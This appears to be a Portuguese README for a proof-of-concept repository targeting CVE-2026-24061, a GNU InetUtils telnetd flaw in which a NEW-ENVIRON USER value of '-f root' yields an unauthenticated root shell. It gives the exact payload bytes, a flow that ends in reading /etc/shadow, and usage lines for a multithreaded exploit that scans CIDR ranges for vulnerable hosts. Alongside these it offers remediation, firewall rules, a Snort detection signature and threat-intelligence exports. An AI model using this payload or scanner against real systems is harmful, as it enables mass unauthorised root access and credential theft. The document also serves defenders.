
GNU InetUtils telnetd - Root remoto não autenticado via injeção de variável NEW-ENVIRON.
GNU InetUtils telnetd - Root Remoto Não Autenticado via Injeção de Variável NEW-ENVIRON
Visão Geral - Análise Técnica - Versões Afetadas - Uso - Remediação - Referências
CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação no daemon telnetd distribuído como parte do GNU InetUtils. A falha reside no tratamento da opção Telnet NEW-ENVIRON (RFC 1572) durante o handshake inicial do protocolo.
A causa raiz é a falha em sanitizar variáveis de ambiente fornecidas pelo cliente antes de passá-las ao programa login(1). Quando o daemon Telnet recebe um pacote de sub-negociação contendo a variável com o valor , ele passa esse valor não sanitizado diretamente para o binário do sistema.
NEW-ENVIRON ISUSER-f rootloginEm sistemas onde login aceita a flag -f (forçar login sem verificação de senha), isso resulta em uma sessão root não autenticada sendo concedida ao atacante remoto.
Esta classe de vulnerabilidade tem precedente histórico: CVE-2001-0797 no SysV telnetd e o conhecido bypass -f do telnetd Linux de 1994 exploraram a mesma falha fundamental de não sanitizar argumentos originados de variáveis de ambiente passados para binários privilegiados.
Nenhuma credencial necessária. Nenhum acesso prévio necessário. Uma única sequência de pacotes de rede alcança root.
O telnetd do GNU InetUtils processa a sub-negociação NEW-ENVIRON (código de opção 0x27, conforme RFC 1572) para coletar variáveis de ambiente fornecidas pelo cliente. Essas variáveis são montadas em um vetor de argumentos e passadas para execve(2) ao iniciar o login(1).
A vulnerabilidade é acionada da seguinte forma:
IAC DO NEW-ENVIRON, solicitando variáveis de ambiente do cliente.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd constrói a invocação do login como login -f root.login(1) interpreta -f como "forçar login, pular autenticação" e autentica o usuário especificado (root) sem exigir senha.| Etapa | Direção | Bytes Telnet (hex) | Significado |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root FuncionaO binário login(1) em muitos sistemas Linux aceita a flag -f <usuário> para logins "pré-autenticados", historicamente usada por multiplexadores de terminal e rlogin. Quando o telnetd constrói sua chamada exec e falha em remover hífens iniciais ou validar strings semelhantes a opções nos valores de variáveis de ambiente, ele inadvertidamente passa flags controladas pelo atacante diretamente para o login.
A chamada efetiva se torna:
execve("/bin/login", ["login", "-f", "root"], envp);
Atacante telnetd vulnerável (porta 23)
| |
|------- TCP SYN (porta 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd chama: login -f root] |
| |
|<------ Prompt de shell root (#) ------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow conteúdo -----|
Pré-requisitos:
telnetd do GNU InetUtils (TCP/23 aberto)inetutilslogin(1) suporta a flag -f (padrão na maioria das distribuições Linux)| Software | Versões Afetadas | Status |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (versão corrigida específica a definir) | Vulnerável |
| Distribuições que distribuem GNU inetutils não corrigido | Várias | Verificar aviso do fornecedor |
Verifique se sua distribuição distribui uma versão corrigida. Muitos sistemas modernos têm Telnet desabilitado por padrão; a exposição requer um
telnetdexplicitamente em execução.
| Métrica | Valor |
|---|---|
| Pontuação Base CVSS v3.1 | 9.8 (Crítico) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Escopo | Inalterado |
| Impacto na Confidencialidade | Alto |
| Impacto na Integridade | Alto |
| Impacto na Disponibilidade | Alto |
| String do Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Tática | Técnica | Relevância |
|---|---|---|---|
| T1190 | Acesso Inicial | Explorar Aplicação Exposta ao Público | Exploração direta do telnetd pela rede |
| T1059 | Execução | Interpretador de Comandos e Scripts | Execução de shell pós-exploração |
| T1078.004 | Escalação de Privilégio / Evasão de Defesa | Contas Válidas: Contas Locais | Bypass de autenticação gera uma sessão root válida |
| T1548 | Escalação de Privilégio | Abusar Mecanismo de Controle de Elevação | Flag login -f abusada para contornar PAM/autenticação |
| T1046 | Descoberta | Descoberta de Serviços de Rede | Componente de varredura em massa do PoC |
Requisitos: Python 3 (apenas biblioteca padrão, zero dependências externas).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Nenhum pip install necessário. Ambos os scripts usam apenas a biblioteca padrão do Python.
poc_cve_2026_24061.py # PoC simples (~100 linhas) - entenda a vulnerabilidade
cve_2026_24061.py # Exploit industrializado - multithread, CIDR, exportação CSV/JSON
scripts/
generate_signatures.py # Gera automaticamente regras Snort/Suricata + Sigma a partir do payload
generate_misp_event.py # Gera evento JSON importável no MISP
generate_stix_bundle.py # Gera bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Regras de detecção Snort/Suricata (geradas automaticamente)
sigma.yml # Regra Sigma para SIEM (gerada automaticamente)
indicators/
misp_event.json # Evento MISP - importar via Events > Add Event > Import
stix_bundle.json # Bundle STIX 2.1 - 11 objetos (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Mínimo, legível, educacional. Um alvo, uma função, zero abstração. Leia isto para entender exatamente como a vulnerabilidade funciona no nível do protocolo.cve_2026_24061.py: Exploit industrializado para engajamentos de pentest. Multithread, suporta faixas CIDR, entrada de arquivo, exportação CSV/JSON, modo silencioso, usuários personalizados.Explora um único host. O código é deliberadamente mínimo para que você possa lê-lo de ponta a ponta e entender toda a cadeia de ataque.
# Uso básico
python3 poc_cve_2026_24061.py 192.168.1.100
# Porta personalizada
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Parâmetro | Padrão | Descrição |
|---|---|---|
-t / --target | - | IP único, hostname ou faixa CIDR |
-f / --file | - | Arquivo contendo IPs/CIDRs (um por linha, comentários com #) |
-T / --threads | 10 | Número de threads concorrentes |
-p / --port | 23 | Porta Telnet alvo |
--timeout | 5 | Timeout do socket em segundos |
--user | root | Nome de usuário para o payload -f |
-o / --output | - | Exportar resultados para arquivo CSV |
--json | - | Exportar resultados para arquivo JSON |
-q / --quiet | off | Modo silencioso: apenas imprime alvos vulneráveis (um por linha) |
--no-color | off | Desabilitar saída com cores ANSI |
| Status | Significado |
|---|---|
[VULN] | Host confirmado vulnerável - shell root obtido |
[SAFE] | Host respondeu, mas a autenticação não foi contornada |
[CLOS] | Porta fechada ou conexão recusada |
[ERR ] | Erro de socket ou protocolo durante a varredura |
Colunas de saída CSV: ip:port, status, message
O script implementa a máquina de estados completa da negociação Telnet NEW-ENVIRON nativamente em Python, sem depender de bibliotecas Telnet externas:
IAC recebidas e responde ao DO NEW-ENVIRON com WILL NEW-ENVIRON.SB NEW-ENVIRON SEND do servidor, transmite o payload injetado (USER = "-f root").uid=0(root) ou um prompt de shell (#), na ausência de Login incorrect ou Password:.id\n e verifica uid=0(root) na resposta como confirmação secundária.Os resultados são registrados no stdout com rótulos de status coloridos. A exportação CSV opcional registra todas as descobertas para pós-processamento.
Desabilite o Telnet completamente. O Telnet transmite todos os dados em texto claro. Substitua por SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Aplique o patch do fornecedor. Instale a versão corrigida do inetutils da sua distribuição assim que disponível.
Bloqueie TCP/23 no perímetro. Aplique regras de firewall para negar conexões Telnet de entrada.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Controle | Descrição |
|---|---|
| Segmentação de rede | Restringir Telnet a redes de gerenciamento isoladas se não puder ser desabilitado |
| Endurecimento do PAM | Revisar configuração do PAM; desabilitar pré-autenticação -f onde não for necessária pelo login.defs |
| Assinaturas IDS/IPS | Detectar padrões NEW-ENVIRON IS VAR USER VALUE -f no tráfego Telnet |
| Registro de auditoria | Monitorar auth.log / secure para logins root inesperados via login |
| Varredura de vulnerabilidades | Executar varreduras autenticadas (OpenVAS, Nessus) para identificar inetutils não corrigido |
Estrutura de regra Snort/Suricata para detectar o exploit em trânsito:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd tentativa de exploit USER=-f root";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
Este repositório fornece artefatos de inteligência de ameaças pré-gerados, prontos para importação em sua pilha SOC/CTI. Eles são gerados automaticamente por CI a partir do payload real do exploit - se o payload mudar, os artefatos são atualizados.
Importe indicators/misp_event.json diretamente em qualquer instância MISP:
Events > Add Event > Import from... > JSON
O evento contém: ID CVE, vetor CVSS, assinatura Snort, hex do payload, tags MITRE ATT&CK (T1190, T1548, T1059), CPE e referências externas.
Importe indicators/stix_bundle.json no OpenCTI, servidores TAXII ou qualquer consumidor STIX 2.1.
O bundle contém 11 objetos: Vulnerabilidade, Indicador (padrão de rede), 3 Padrões de Ataque (MITRE), Curso de Ação (remediação), Identidade e Relacionamentos vinculando-os.
Regras pré-construídas em signatures/:
snort.rules - 3 regras Snort/Suricata (tentativa de exploit, injeção genérica -f, shell root pós-exploração)sigma.yml - Regra Sigma para correlação SIEMSe você modificar o payload do exploit, regenere todos os artefatos:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
Esta ferramenta é fornecida apenas para auditoria de segurança autorizada, pesquisa acadêmica e fins educacionais. O uso contra sistemas sem permissão escrita explícita do proprietário do sistema é ilegal sob as leis aplicáveis de fraude e abuso de computadores (incluindo, mas não se limitando a, CFAA, Computer Misuse Act e legislação equivalente). O autor não aceita responsabilidade por uso não autorizado ou malicioso.